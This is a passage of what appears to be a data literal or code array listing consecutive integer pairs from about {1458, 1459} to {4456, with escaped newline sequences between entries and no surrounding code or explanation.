{1458, 1459},\n {1460, 1461},\n {1462, 1463},\n {1464, 1465},\n {1466, 1467},\n {1468, 1469},\n {1470, 1471},\n {1472, 1473},\n {1474, 1475},\n {1476, 1477},\n {1478, 1479},\n {1480, 1481},\n {1482, 1483},\n {1484, 1485},\n {1486, 1487},\n {1488, 1489},\n {1490, 1491},\n {1492, 1493},\n {1494, 1495},\n {1496, 1497},\n {1498, 1499},\n {1500, 1501},\n {1502, 1503},\n {1504, 1505},\n {1506, 1507},\n {1508, 1509},\n {1510, 1511},\n {1512, 1513},\n {1514, 1515},\n {1516, 1517},\n {1518, 1519},\n {1520, 1521},\n {1522, 1523},\n {1524, 1525},\n {1526, 1527},\n {1528, 1529},\n {1530, 1531},\n {1532, 1533},\n {1534, 1535},\n {1536, 1537},\n {1538, 1539},\n {1540, 1541},\n {1542, 1543},\n {1544, 1545},\n {1546, 1547},\n {1548, 1549},\n {1550, 1551},\n {1552, 1553},\n {1554, 1555},\n {1556, 1557},\n {1558, 1559},\n {1560, 1561},\n {1562, 1563},\n {1564, 1565},\n {1566, 1567},\n {1568, 1569},\n {1570, 1571},\n {1572, 1573},\n {1574, 1575},\n {1576, 1577},\n {1578, 1579},\n {1580, 1581},\n {1582, 1583},\n {1584, 1585},\n {1586, 1587},\n {1588, 1589},\n {1590, 1591},\n {1592, 1593},\n {1594, 1595},\n {1596, 1597},\n {1598, 1599},\n {1600, 1601},\n {1602, 1603},\n {1604, 1605},\n {1606, 1607},\n {1608, 1609},\n {1610, 1611},\n {1612, 1613},\n {1614, 1615},\n {1616, 1617},\n {1618, 1619},\n {1620, 1621},\n {1622, 1623},\n {1624, 1625},\n {1626, 1627},\n {1628, 1629},\n {1630, 1631},\n {1632, 1633},\n {1634, 1635},\n {1636, 1637},\n {1638, 1639},\n {1640, 1641},\n {1642, 1643},\n {1644, 1645},\n {1646, 1647},\n {1648, 1649},\n {1650, 1651},\n {1652, 1653},\n {1654, 1655},\n {1656, 1657},\n {1658, 1659},\n {1660, 1661},\n {1662, 1663},\n {1664, 1665},\n {1666, 1667},\n {1668, 1669},\n {1670, 1671},\n {1672, 1673},\n {1674, 1675},\n {1676, 1677},\n {1678, 1679},\n {1680, 1681},\n {1682, 1683},\n {1684, 1685},\n {1686, 1687},\n {1688, 1689},\n {1690, 1691},\n {1692, 1693},\n {1694, 1695},\n {1696, 1697},\n {1698, 1699},\n {1700, 1701},\n {1702, 1703},\n {1704, 1705},\n {1706, 1707},\n {1708, 1709},\n {1710, 1711},\n {1712, 1713},\n {1714, 1715},\n {1716, 1717},\n {1718, 1719},\n {1720, 1721},\n {1722, 1723},\n {1724, 1725},\n {1726, 1727},\n {1728, 1729},\n {1730, 1731},\n {1732, 1733},\n {1734, 1735},\n {1736, 1737},\n {1738, 1739},\n {1740, 1741},\n {1742, 1743},\n {1744, 1745},\n {1746, 1747},\n {1748, 1749},\n {1750, 1751},\n {1752, 1753},\n {1754, 1755},\n {1756, 1757},\n {1758, 1759},\n {1760, 1761},\n {1762, 1763},\n {1764, 1765},\n {1766, 1767},\n {1768, 1769},\n {1770, 1771},\n {1772, 1773},\n {1774, 1775},\n {1776, 1777},\n {1778, 1779},\n {1780, 1781},\n {1782, 1783},\n {1784, 1785},\n {1786, 1787},\n {1788, 1789},\n {1790, 1791},\n {1792, 1793},\n {1794, 1795},\n {1796, 1797},\n {1798, 1799},\n {1800, 1801},\n {1802, 1803},\n {1804, 1805},\n {1806, 1807},\n {1808, 1809},\n {1810, 1811},\n {1812, 1813},\n {1814, 1815},\n {1816, 1817},\n {1818, 1819},\n {1820, 1821},\n {1822, 1823},\n {1824, 1825},\n {1826, 1827},\n {1828, 1829},\n {1830, 1831},\n {1832, 1833},\n {1834, 1835},\n {1836, 1837},\n {1838, 1839},\n {1840, 1841},\n {1842, 1843},\n {1844, 1845},\n {1846, 1847},\n {1848, 1849},\n {1850, 1851},\n {1852, 1853},\n {1854, 1855},\n {1856, 1857},\n {1858, 1859},\n {1860, 1861},\n {1862, 1863},\n {1864, 1865},\n {1866, 1867},\n {1868, 1869},\n {1870, 1871},\n {1872, 1873},\n {1874, 1875},\n {1876, 1877},\n {1878, 1879},\n {1880, 1881},\n {1882, 1883},\n {1884, 1885},\n {1886, 1887},\n {1888, 1889},\n {1890, 1891},\n {1892, 1893},\n {1894, 1895},\n {1896, 1897},\n {1898, 1899},\n {1900, 1901},\n {1902, 1903},\n {1904, 1905},\n {1906, 1907},\n {1908, 1909},\n {1910, 1911},\n {1912, 1913},\n {1914, 1915},\n {1916, 1917},\n {1918, 1919},\n {1920, 1921},\n {1922, 1923},\n {1924, 1925},\n {1926, 1927},\n {1928, 1929},\n {1930, 1931},\n {1932, 1933},\n {1934, 1935},\n {1936, 1937},\n {1938, 1939},\n {1940, 1941},\n {1942, 1943},\n {1944, 1945},\n {1946, 1947},\n {1948, 1949},\n {1950, 1951},\n {1952, 1953},\n {1954, 1955},\n {1956, 1957},\n {1958, 1959},\n {1960, 1961},\n {1962, 1963},\n {1964, 1965},\n {1966, 1967},\n {1968, 1969},\n {1970, 1971},\n {1972, 1973},\n {1974, 1975},\n {1976, 1977},\n {1978, 1979},\n {1980, 1981},\n {1982, 1983},\n {1984, 1985},\n {1986, 1987},\n {1988, 1989},\n {1990, 1991},\n {1992, 1993},\n {1994, 1995},\n {1996, 1997},\n {1998, 1999},\n {2000, 2001},\n {2002, 2003},\n {2004, 2005},\n {2006, 2007},\n {2008, 2009},\n {2010, 2011},\n {2012, 2013},\n {2014, 2015},\n {2016, 2017},\n {2018, 2019},\n {2020, 2021},\n {2022, 2023},\n {2024, 2025},\n {2026, 2027},\n {2028, 2029},\n {2030, 2031},\n {2032, 2033},\n {2034, 2035},\n {2036, 2037},\n {2038, 2039},\n {2040, 2041},\n {2042, 2043},\n {2044, 2045},\n {2046, 2047},\n {2048, 2049},\n {2050, 2051},\n {2052, 2053},\n {2054, 2055},\n {2056, 2057},\n {2058, 2059},\n {2060, 2061},\n {2062, 2063},\n {2064, 2065},\n {2066, 2067},\n {2068, 2069},\n {2070, 2071},\n {2072, 2073},\n {2074, 2075},\n {2076, 2077},\n {2078, 2079},\n {2080, 2081},\n {2082, 2083},\n {2084, 2085},\n {2086, 2087},\n {2088, 2089},\n {2090, 2091},\n {2092, 2093},\n {2094, 2095},\n {2096, 2097},\n {2098, 2099},\n {2100, 2101},\n {2102, 2103},\n {2104, 2105},\n {2106, 2107},\n {2108, 2109},\n {2110, 2111},\n {2112, 2113},\n {2114, 2115},\n {2116, 2117},\n {2118, 2119},\n {2120, 2121},\n {2122, 2123},\n {2124, 2125},\n {2126, 2127},\n {2128, 2129},\n {2130, 2131},\n {2132, 2133},\n {2134, 2135},\n {2136, 2137},\n {2138, 2139},\n {2140, 2141},\n {2142, 2143},\n {2144, 2145},\n {2146, 2147},\n {2148, 2149},\n {2150, 2151},\n {2152, 2153},\n {2154, 2155},\n {2156, 2157},\n {2158, 2159},\n {2160, 2161},\n {2162, 2163},\n {2164, 2165},\n {2166, 2167},\n {2168, 2169},\n {2170, 2171},\n {2172, 2173},\n {2174, 2175},\n {2176, 2177},\n {2178, 2179},\n {2180, 2181},\n {2182, 2183},\n {2184, 2185},\n {2186, 2187},\n {2188, 2189},\n {2190, 2191},\n {2192, 2193},\n {2194, 2195},\n {2196, 2197},\n {2198, 2199},\n {2200, 2201},\n {2202, 2203},\n {2204, 2205},\n {2206, 2207},\n {2208, 2209},\n {2210, 2211},\n {2212, 2213},\n {2214, 2215},\n {2216, 2217},\n {2218, 2219},\n {2220, 2221},\n {2222, 2223},\n {2224, 2225},\n {2226, 2227},\n {2228, 2229},\n {2230, 2231},\n {2232, 2233},\n {2234, 2235},\n {2236, 2237},\n {2238, 2239},\n {2240, 2241},\n {2242, 2243},\n {2244, 2245},\n {2246, 2247},\n {2248, 2249},\n {2250, 2251},\n {2252, 2253},\n {2254, 2255},\n {2256, 2257},\n {2258, 2259},\n {2260, 2261},\n {2262, 2263},\n {2264, 2265},\n {2266, 2267},\n {2268, 2269},\n {2270, 2271},\n {2272, 2273},\n {2274, 2275},\n {2276, 2277},\n {2278, 2279},\n {2280, 2281},\n {2282, 2283},\n {2284, 2285},\n {2286, 2287},\n {2288, 2289},\n {2290, 2291},\n {2292, 2293},\n {2294, 2295},\n {2296, 2297},\n {2298, 2299},\n {2300, 2301},\n {2302, 2303},\n {2304, 2305},\n {2306, 2307},\n {2308, 2309},\n {2310, 2311},\n {2312, 2313},\n {2314, 2315},\n {2316, 2317},\n {2318, 2319},\n {2320, 2321},\n {2322, 2323},\n {2324, 2325},\n {2326, 2327},\n {2328, 2329},\n {2330, 2331},\n {2332, 2333},\n {2334, 2335},\n {2336, 2337},\n {2338, 2339},\n {2340, 2341},\n {2342, 2343},\n {2344, 2345},\n {2346, 2347},\n {2348, 2349},\n {2350, 2351},\n {2352, 2353},\n {2354, 2355},\n {2356, 2357},\n {2358, 2359},\n {2360, 2361},\n {2362, 2363},\n {2364, 2365},\n {2366, 2367},\n {2368, 2369},\n {2370, 2371},\n {2372, 2373},\n {2374, 2375},\n {2376, 2377},\n {2378, 2379},\n {2380, 2381},\n {2382, 2383},\n {2384, 2385},\n {2386, 2387},\n {2388, 2389},\n {2390, 2391},\n {2392, 2393},\n {2394, 2395},\n {2396, 2397},\n {2398, 2399},\n {2400, 2401},\n {2402, 2403},\n {2404, 2405},\n {2406, 2407},\n {2408, 2409},\n {2410, 2411},\n {2412, 2413},\n {2414, 2415},\n {2416, 2417},\n {2418, 2419},\n {2420, 2421},\n {2422, 2423},\n {2424, 2425},\n {2426, 2427},\n {2428, 2429},\n {2430, 2431},\n {2432, 2433},\n {2434, 2435},\n {2436, 2437},\n {2438, 2439},\n {2440, 2441},\n {2442, 2443},\n {2444, 2445},\n {2446, 2447},\n {2448, 2449},\n {2450, 2451},\n {2452, 2453},\n {2454, 2455},\n {2456, 2457},\n {2458, 2459},\n {2460, 2461},\n {2462, 2463},\n {2464, 2465},\n {2466, 2467},\n {2468, 2469},\n {2470, 2471},\n {2472, 2473},\n {2474, 2475},\n {2476, 2477},\n {2478, 2479},\n {2480, 2481},\n {2482, 2483},\n {2484, 2485},\n {2486, 2487},\n {2488, 2489},\n {2490, 2491},\n {2492, 2493},\n {2494, 2495},\n {2496, 2497},\n {2498, 2499},\n {2500, 2501},\n {2502, 2503},\n {2504, 2505},\n {2506, 2507},\n {2508, 2509},\n {2510, 2511},\n {2512, 2513},\n {2514, 2515},\n {2516, 2517},\n {2518, 2519},\n {2520, 2521},\n {2522, 2523},\n {2524, 2525},\n {2526, 2527},\n {2528, 2529},\n {2530, 2531},\n {2532, 2533},\n {2534, 2535},\n {2536, 2537},\n {2538, 2539},\n {2540, 2541},\n {2542, 2543},\n {2544, 2545},\n {2546, 2547},\n {2548, 2549},\n {2550, 2551},\n {2552, 2553},\n {2554, 2555},\n {2556, 2557},\n {2558, 2559},\n {2560, 2561},\n {2562, 2563},\n {2564, 2565},\n {2566, 2567},\n {2568, 2569},\n {2570, 2571},\n {2572, 2573},\n {2574, 2575},\n {2576, 2577},\n {2578, 2579},\n {2580, 2581},\n {2582, 2583},\n {2584, 2585},\n {2586, 2587},\n {2588, 2589},\n {2590, 2591},\n {2592, 2593},\n {2594, 2595},\n {2596, 2597},\n {2598, 2599},\n {2600, 2601},\n {2602, 2603},\n {2604, 2605},\n {2606, 2607},\n {2608, 2609},\n {2610, 2611},\n {2612, 2613},\n {2614, 2615},\n {2616, 2617},\n {2618, 2619},\n {2620, 2621},\n {2622, 2623},\n {2624, 2625},\n {2626, 2627},\n {2628, 2629},\n {2630, 2631},\n {2632, 2633},\n {2634, 2635},\n {2636, 2637},\n {2638, 2639},\n {2640, 2641},\n {2642, 2643},\n {2644, 2645},\n {2646, 2647},\n {2648, 2649},\n {2650, 2651},\n {2652, 2653},\n {2654, 2655},\n {2656, 2657},\n {2658, 2659},\n {2660, 2661},\n {2662, 2663},\n {2664, 2665},\n {2666, 2667},\n {2668, 2669},\n {2670, 2671},\n {2672, 2673},\n {2674, 2675},\n {2676, 2677},\n {2678, 2679},\n {2680, 2681},\n {2682, 2683},\n {2684, 2685},\n {2686, 2687},\n {2688, 2689},\n {2690, 2691},\n {2692, 2693},\n {2694, 2695},\n {2696, 2697},\n {2698, 2699},\n {2700, 2701},\n {2702, 2703},\n {2704, 2705},\n {2706, 2707},\n {2708, 2709},\n {2710, 2711},\n {2712, 2713},\n {2714, 2715},\n {2716, 2717},\n {2718, 2719},\n {2720, 2721},\n {2722, 2723},\n {2724, 2725},\n {2726, 2727},\n {2728, 2729},\n {2730, 2731},\n {2732, 2733},\n {2734, 2735},\n {2736, 2737},\n {2738, 2739},\n {2740, 2741},\n {2742, 2743},\n {2744, 2745},\n {2746, 2747},\n {2748, 2749},\n {2750, 2751},\n {2752, 2753},\n {2754, 2755},\n {2756, 2757},\n {2758, 2759},\n {2760, 2761},\n {2762, 2763},\n {2764, 2765},\n {2766, 2767},\n {2768, 2769},\n {2770, 2771},\n {2772, 2773},\n {2774, 2775},\n {2776, 2777},\n {2778, 2779},\n {2780, 2781},\n {2782, 2783},\n {2784, 2785},\n {2786, 2787},\n {2788, 2789},\n {2790, 2791},\n {2792, 2793},\n {2794, 2795},\n {2796, 2797},\n {2798, 2799},\n {2800, 2801},\n {2802, 2803},\n {2804, 2805},\n {2806, 2807},\n {2808, 2809},\n {2810, 2811},\n {2812, 2813},\n {2814, 2815},\n {2816, 2817},\n {2818, 2819},\n {2820, 2821},\n {2822, 2823},\n {2824, 2825},\n {2826, 2827},\n {2828, 2829},\n {2830, 2831},\n {2832, 2833},\n {2834, 2835},\n {2836, 2837},\n {2838, 2839},\n {2840, 2841},\n {2842, 2843},\n {2844, 2845},\n {2846, 2847},\n {2848, 2849},\n {2850, 2851},\n {2852, 2853},\n {2854, 2855},\n {2856, 2857},\n {2858, 2859},\n {2860, 2861},\n {2862, 2863},\n {2864, 2865},\n {2866, 2867},\n {2868, 2869},\n {2870, 2871},\n {2872, 2873},\n {2874, 2875},\n {2876, 2877},\n {2878, 2879},\n {2880, 2881},\n {2882, 2883},\n {2884, 2885},\n {2886, 2887},\n {2888, 2889},\n {2890, 2891},\n {2892, 2893},\n {2894, 2895},\n {2896, 2897},\n {2898, 2899},\n {2900, 2901},\n {2902, 2903},\n {2904, 2905},\n {2906, 2907},\n {2908, 2909},\n {2910, 2911},\n {2912, 2913},\n {2914, 2915},\n {2916, 2917},\n {2918, 2919},\n {2920, 2921},\n {2922, 2923},\n {2924, 2925},\n {2926, 2927},\n {2928, 2929},\n {2930, 2931},\n {2932, 2933},\n {2934, 2935},\n {2936, 2937},\n {2938, 2939},\n {2940, 2941},\n {2942, 2943},\n {2944, 2945},\n {2946, 2947},\n {2948, 2949},\n {2950, 2951},\n {2952, 2953},\n {2954, 2955},\n {2956, 2957},\n {2958, 2959},\n {2960, 2961},\n {2962, 2963},\n {2964, 2965},\n {2966, 2967},\n {2968, 2969},\n {2970, 2971},\n {2972, 2973},\n {2974, 2975},\n {2976, 2977},\n {2978, 2979},\n {2980, 2981},\n {2982, 2983},\n {2984, 2985},\n {2986, 2987},\n {2988, 2989},\n {2990, 2991},\n {2992, 2993},\n {2994, 2995},\n {2996, 2997},\n {2998, 2999},\n {3000, 3001},\n {3002, 3003},\n {3004, 3005},\n {3006, 3007},\n {3008, 3009},\n {3010, 3011},\n {3012, 3013},\n {3014, 3015},\n {3016, 3017},\n {3018, 3019},\n {3020, 3021},\n {3022, 3023},\n {3024, 3025},\n {3026, 3027},\n {3028, 3029},\n {3030, 3031},\n {3032, 3033},\n {3034, 3035},\n {3036, 3037},\n {3038, 3039},\n {3040, 3041},\n {3042, 3043},\n {3044, 3045},\n {3046, 3047},\n {3048, 3049},\n {3050, 3051},\n {3052, 3053},\n {3054, 3055},\n {3056, 3057},\n {3058, 3059},\n {3060, 3061},\n {3062, 3063},\n {3064, 3065},\n {3066, 3067},\n {3068, 3069},\n {3070, 3071},\n {3072, 3073},\n {3074, 3075},\n {3076, 3077},\n {3078, 3079},\n {3080, 3081},\n {3082, 3083},\n {3084, 3085},\n {3086, 3087},\n {3088, 3089},\n {3090, 3091},\n {3092, 3093},\n {3094, 3095},\n {3096, 3097},\n {3098, 3099},\n {3100, 3101},\n {3102, 3103},\n {3104, 3105},\n {3106, 3107},\n {3108, 3109},\n {3110, 3111},\n {3112, 3113},\n {3114, 3115},\n {3116, 3117},\n {3118, 3119},\n {3120, 3121},\n {3122, 3123},\n {3124, 3125},\n {3126, 3127},\n {3128, 3129},\n {3130, 3131},\n {3132, 3133},\n {3134, 3135},\n {3136, 3137},\n {3138, 3139},\n {3140, 3141},\n {3142, 3143},\n {3144, 3145},\n {3146, 3147},\n {3148, 3149},\n {3150, 3151},\n {3152, 3153},\n {3154, 3155},\n {3156, 3157},\n {3158, 3159},\n {3160, 3161},\n {3162, 3163},\n {3164, 3165},\n {3166, 3167},\n {3168, 3169},\n {3170, 3171},\n {3172, 3173},\n {3174, 3175},\n {3176, 3177},\n {3178, 3179},\n {3180, 3181},\n {3182, 3183},\n {3184, 3185},\n {3186, 3187},\n {3188, 3189},\n {3190, 3191},\n {3192, 3193},\n {3194, 3195},\n {3196, 3197},\n {3198, 3199},\n {3200, 3201},\n {3202, 3203},\n {3204, 3205},\n {3206, 3207},\n {3208, 3209},\n {3210, 3211},\n {3212, 3213},\n {3214, 3215},\n {3216, 3217},\n {3218, 3219},\n {3220, 3221},\n {3222, 3223},\n {3224, 3225},\n {3226, 3227},\n {3228, 3229},\n {3230, 3231},\n {3232, 3233},\n {3234, 3235},\n {3236, 3237},\n {3238, 3239},\n {3240, 3241},\n {3242, 3243},\n {3244, 3245},\n {3246, 3247},\n {3248, 3249},\n {3250, 3251},\n {3252, 3253},\n {3254, 3255},\n {3256, 3257},\n {3258, 3259},\n {3260, 3261},\n {3262, 3263},\n {3264, 3265},\n {3266, 3267},\n {3268, 3269},\n {3270, 3271},\n {3272, 3273},\n {3274, 3275},\n {3276, 3277},\n {3278, 3279},\n {3280, 3281},\n {3282, 3283},\n {3284, 3285},\n {3286, 3287},\n {3288, 3289},\n {3290, 3291},\n {3292, 3293},\n {3294, 3295},\n {3296, 3297},\n {3298, 3299},\n {3300, 3301},\n {3302, 3303},\n {3304, 3305},\n {3306, 3307},\n {3308, 3309},\n {3310, 3311},\n {3312, 3313},\n {3314, 3315},\n {3316, 3317},\n {3318, 3319},\n {3320, 3321},\n {3322, 3323},\n {3324, 3325},\n {3326, 3327},\n {3328, 3329},\n {3330, 3331},\n {3332, 3333},\n {3334, 3335},\n {3336, 3337},\n {3338, 3339},\n {3340, 3341},\n {3342, 3343},\n {3344, 3345},\n {3346, 3347},\n {3348, 3349},\n {3350, 3351},\n {3352, 3353},\n {3354, 3355},\n {3356, 3357},\n {3358, 3359},\n {3360, 3361},\n {3362, 3363},\n {3364, 3365},\n {3366, 3367},\n {3368, 3369},\n {3370, 3371},\n {3372, 3373},\n {3374, 3375},\n {3376, 3377},\n {3378, 3379},\n {3380, 3381},\n {3382, 3383},\n {3384, 3385},\n {3386, 3387},\n {3388, 3389},\n {3390, 3391},\n {3392, 3393},\n {3394, 3395},\n {3396, 3397},\n {3398, 3399},\n {3400, 3401},\n {3402, 3403},\n {3404, 3405},\n {3406, 3407},\n {3408, 3409},\n {3410, 3411},\n {3412, 3413},\n {3414, 3415},\n {3416, 3417},\n {3418, 3419},\n {3420, 3421},\n {3422, 3423},\n {3424, 3425},\n {3426, 3427},\n {3428, 3429},\n {3430, 3431},\n {3432, 3433},\n {3434, 3435},\n {3436, 3437},\n {3438, 3439},\n {3440, 3441},\n {3442, 3443},\n {3444, 3445},\n {3446, 3447},\n {3448, 3449},\n {3450, 3451},\n {3452, 3453},\n {3454, 3455},\n {3456, 3457},\n {3458, 3459},\n {3460, 3461},\n {3462, 3463},\n {3464, 3465},\n {3466, 3467},\n {3468, 3469},\n {3470, 3471},\n {3472, 3473},\n {3474, 3475},\n {3476, 3477},\n {3478, 3479},\n {3480, 3481},\n {3482, 3483},\n {3484, 3485},\n {3486, 3487},\n {3488, 3489},\n {3490, 3491},\n {3492, 3493},\n {3494, 3495},\n {3496, 3497},\n {3498, 3499},\n {3500, 3501},\n {3502, 3503},\n {3504, 3505},\n {3506, 3507},\n {3508, 3509},\n {3510, 3511},\n {3512, 3513},\n {3514, 3515},\n {3516, 3517},\n {3518, 3519},\n {3520, 3521},\n {3522, 3523},\n {3524, 3525},\n {3526, 3527},\n {3528, 3529},\n {3530, 3531},\n {3532, 3533},\n {3534, 3535},\n {3536, 3537},\n {3538, 3539},\n {3540, 3541},\n {3542, 3543},\n {3544, 3545},\n {3546, 3547},\n {3548, 3549},\n {3550, 3551},\n {3552, 3553},\n {3554, 3555},\n {3556, 3557},\n {3558, 3559},\n {3560, 3561},\n {3562, 3563},\n {3564, 3565},\n {3566, 3567},\n {3568, 3569},\n {3570, 3571},\n {3572, 3573},\n {3574, 3575},\n {3576, 3577},\n {3578, 3579},\n {3580, 3581},\n {3582, 3583},\n {3584, 3585},\n {3586, 3587},\n {3588, 3589},\n {3590, 3591},\n {3592, 3593},\n {3594, 3595},\n {3596, 3597},\n {3598, 3599},\n {3600, 3601},\n {3602, 3603},\n {3604, 3605},\n {3606, 3607},\n {3608, 3609},\n {3610, 3611},\n {3612, 3613},\n {3614, 3615},\n {3616, 3617},\n {3618, 3619},\n {3620, 3621},\n {3622, 3623},\n {3624, 3625},\n {3626, 3627},\n {3628, 3629},\n {3630, 3631},\n {3632, 3633},\n {3634, 3635},\n {3636, 3637},\n {3638, 3639},\n {3640, 3641},\n {3642, 3643},\n {3644, 3645},\n {3646, 3647},\n {3648, 3649},\n {3650, 3651},\n {3652, 3653},\n {3654, 3655},\n {3656, 3657},\n {3658, 3659},\n {3660, 3661},\n {3662, 3663},\n {3664, 3665},\n {3666, 3667},\n {3668, 3669},\n {3670, 3671},\n {3672, 3673},\n {3674, 3675},\n {3676, 3677},\n {3678, 3679},\n {3680, 3681},\n {3682, 3683},\n {3684, 3685},\n {3686, 3687},\n {3688, 3689},\n {3690, 3691},\n {3692, 3693},\n {3694, 3695},\n {3696, 3697},\n {3698, 3699},\n {3700, 3701},\n {3702, 3703},\n {3704, 3705},\n {3706, 3707},\n {3708, 3709},\n {3710, 3711},\n {3712, 3713},\n {3714, 3715},\n {3716, 3717},\n {3718, 3719},\n {3720, 3721},\n {3722, 3723},\n {3724, 3725},\n {3726, 3727},\n {3728, 3729},\n {3730, 3731},\n {3732, 3733},\n {3734, 3735},\n {3736, 3737},\n {3738, 3739},\n {3740, 3741},\n {3742, 3743},\n {3744, 3745},\n {3746, 3747},\n {3748, 3749},\n {3750, 3751},\n {3752, 3753},\n {3754, 3755},\n {3756, 3757},\n {3758, 3759},\n {3760, 3761},\n {3762, 3763},\n {3764, 3765},\n {3766, 3767},\n {3768, 3769},\n {3770, 3771},\n {3772, 3773},\n {3774, 3775},\n {3776, 3777},\n {3778, 3779},\n {3780, 3781},\n {3782, 3783},\n {3784, 3785},\n {3786, 3787},\n {3788, 3789},\n {3790, 3791},\n {3792, 3793},\n {3794, 3795},\n {3796, 3797},\n {3798, 3799},\n {3800, 3801},\n {3802, 3803},\n {3804, 3805},\n {3806, 3807},\n {3808, 3809},\n {3810, 3811},\n {3812, 3813},\n {3814, 3815},\n {3816, 3817},\n {3818, 3819},\n {3820, 3821},\n {3822, 3823},\n {3824, 3825},\n {3826, 3827},\n {3828, 3829},\n {3830, 3831},\n {3832, 3833},\n {3834, 3835},\n {3836, 3837},\n {3838, 3839},\n {3840, 3841},\n {3842, 3843},\n {3844, 3845},\n {3846, 3847},\n {3848, 3849},\n {3850, 3851},\n {3852, 3853},\n {3854, 3855},\n {3856, 3857},\n {3858, 3859},\n {3860, 3861},\n {3862, 3863},\n {3864, 3865},\n {3866, 3867},\n {3868, 3869},\n {3870, 3871},\n {3872, 3873},\n {3874, 3875},\n {3876, 3877},\n {3878, 3879},\n {3880, 3881},\n {3882, 3883},\n {3884, 3885},\n {3886, 3887},\n {3888, 3889},\n {3890, 3891},\n {3892, 3893},\n {3894, 3895},\n {3896, 3897},\n {3898, 3899},\n {3900, 3901},\n {3902, 3903},\n {3904, 3905},\n {3906, 3907},\n {3908, 3909},\n {3910, 3911},\n {3912, 3913},\n {3914, 3915},\n {3916, 3917},\n {3918, 3919},\n {3920, 3921},\n {3922, 3923},\n {3924, 3925},\n {3926, 3927},\n {3928, 3929},\n {3930, 3931},\n {3932, 3933},\n {3934, 3935},\n {3936, 3937},\n {3938, 3939},\n {3940, 3941},\n {3942, 3943},\n {3944, 3945},\n {3946, 3947},\n {3948, 3949},\n {3950, 3951},\n {3952, 3953},\n {3954, 3955},\n {3956, 3957},\n {3958, 3959},\n {3960, 3961},\n {3962, 3963},\n {3964, 3965},\n {3966, 3967},\n {3968, 3969},\n {3970, 3971},\n {3972, 3973},\n {3974, 3975},\n {3976, 3977},\n {3978, 3979},\n {3980, 3981},\n {3982, 3983},\n {3984, 3985},\n {3986, 3987},\n {3988, 3989},\n {3990, 3991},\n {3992, 3993},\n {3994, 3995},\n {3996, 3997},\n {3998, 3999},\n {4000, 4001},\n {4002, 4003},\n {4004, 4005},\n {4006, 4007},\n {4008, 4009},\n {4010, 4011},\n {4012, 4013},\n {4014, 4015},\n {4016, 4017},\n {4018, 4019},\n {4020, 4021},\n {4022, 4023},\n {4024, 4025},\n {4026, 4027},\n {4028, 4029},\n {4030, 4031},\n {4032, 4033},\n {4034, 4035},\n {4036, 4037},\n {4038, 4039},\n {4040, 4041},\n {4042, 4043},\n {4044, 4045},\n {4046, 4047},\n {4048, 4049},\n {4050, 4051},\n {4052, 4053},\n {4054, 4055},\n {4056, 4057},\n {4058, 4059},\n {4060, 4061},\n {4062, 4063},\n {4064, 4065},\n {4066, 4067},\n {4068, 4069},\n {4070, 4071},\n {4072, 4073},\n {4074, 4075},\n {4076, 4077},\n {4078, 4079},\n {4080, 4081},\n {4082, 4083},\n {4084, 4085},\n {4086, 4087},\n {4088, 4089},\n {4090, 4091},\n {4092, 4093},\n {4094, 4095},\n {4096, 4097},\n {4098, 4099},\n {4100, 4101},\n {4102, 4103},\n {4104, 4105},\n {4106, 4107},\n {4108, 4109},\n {4110, 4111},\n {4112, 4113},\n {4114, 4115},\n {4116, 4117},\n {4118, 4119},\n {4120, 4121},\n {4122, 4123},\n {4124, 4125},\n {4126, 4127},\n {4128, 4129},\n {4130, 4131},\n {4132, 4133},\n {4134, 4135},\n {4136, 4137},\n {4138, 4139},\n {4140, 4141},\n {4142, 4143},\n {4144, 4145},\n {4146, 4147},\n {4148, 4149},\n {4150, 4151},\n {4152, 4153},\n {4154, 4155},\n {4156, 4157},\n {4158, 4159},\n {4160, 4161},\n {4162, 4163},\n {4164, 4165},\n {4166, 4167},\n {4168, 4169},\n {4170, 4171},\n {4172, 4173},\n {4174, 4175},\n {4176, 4177},\n {4178, 4179},\n {4180, 4181},\n {4182, 4183},\n {4184, 4185},\n {4186, 4187},\n {4188, 4189},\n {4190, 4191},\n {4192, 4193},\n {4194, 4195},\n {4196, 4197},\n {4198, 4199},\n {4200, 4201},\n {4202, 4203},\n {4204, 4205},\n {4206, 4207},\n {4208, 4209},\n {4210, 4211},\n {4212, 4213},\n {4214, 4215},\n {4216, 4217},\n {4218, 4219},\n {4220, 4221},\n {4222, 4223},\n {4224, 4225},\n {4226, 4227},\n {4228, 4229},\n {4230, 4231},\n {4232, 4233},\n {4234, 4235},\n {4236, 4237},\n {4238, 4239},\n {4240, 4241},\n {4242, 4243},\n {4244, 4245},\n {4246, 4247},\n {4248, 4249},\n {4250, 4251},\n {4252, 4253},\n {4254, 4255},\n {4256, 4257},\n {4258, 4259},\n {4260, 4261},\n {4262, 4263},\n {4264, 4265},\n {4266, 4267},\n {4268, 4269},\n {4270, 4271},\n {4272, 4273},\n {4274, 4275},\n {4276, 4277},\n {4278, 4279},\n {4280, 4281},\n {4282, 4283},\n {4284, 4285},\n {4286, 4287},\n {4288, 4289},\n {4290, 4291},\n {4292, 4293},\n {4294, 4295},\n {4296, 4297},\n {4298, 4299},\n {4300, 4301},\n {4302, 4303},\n {4304, 4305},\n {4306, 4307},\n {4308, 4309},\n {4310, 4311},\n {4312, 4313},\n {4314, 4315},\n {4316, 4317},\n {4318, 4319},\n {4320, 4321},\n {4322, 4323},\n {4324, 4325},\n {4326, 4327},\n {4328, 4329},\n {4330, 4331},\n {4332, 4333},\n {4334, 4335},\n {4336, 4337},\n {4338, 4339},\n {4340, 4341},\n {4342, 4343},\n {4344, 4345},\n {4346, 4347},\n {4348, 4349},\n {4350, 4351},\n {4352, 4353},\n {4354, 4355},\n {4356, 4357},\n {4358, 4359},\n {4360, 4361},\n {4362, 4363},\n {4364, 4365},\n {4366, 4367},\n {4368, 4369},\n {4370, 4371},\n {4372, 4373},\n {4374, 4375},\n {4376, 4377},\n {4378, 4379},\n {4380, 4381},\n {4382, 4383},\n {4384, 4385},\n {4386, 4387},\n {4388, 4389},\n {4390, 4391},\n {4392, 4393},\n {4394, 4395},\n {4396, 4397},\n {4398, 4399},\n {4400, 4401},\n {4402, 4403},\n {4404, 4405},\n {4406, 4407},\n {4408, 4409},\n {4410, 4411},\n {4412, 4413},\n {4414, 4415},\n {4416, 4417},\n {4418, 4419},\n {4420, 4421},\n {4422, 4423},\n {4424, 4425},\n {4426, 4427},\n {4428, 4429},\n {4430, 4431},\n {4432, 4433},\n {4434, 4435},\n {4436, 4437},\n {4438, 4439},\n {4440, 4441},\n {4442, 4443},\n {4444, 4445},\n {4446, 4447},\n {4448, 4449},\n {4450, 4451},\n {4452, 4453},\n {4454, 4455},\n {4456, 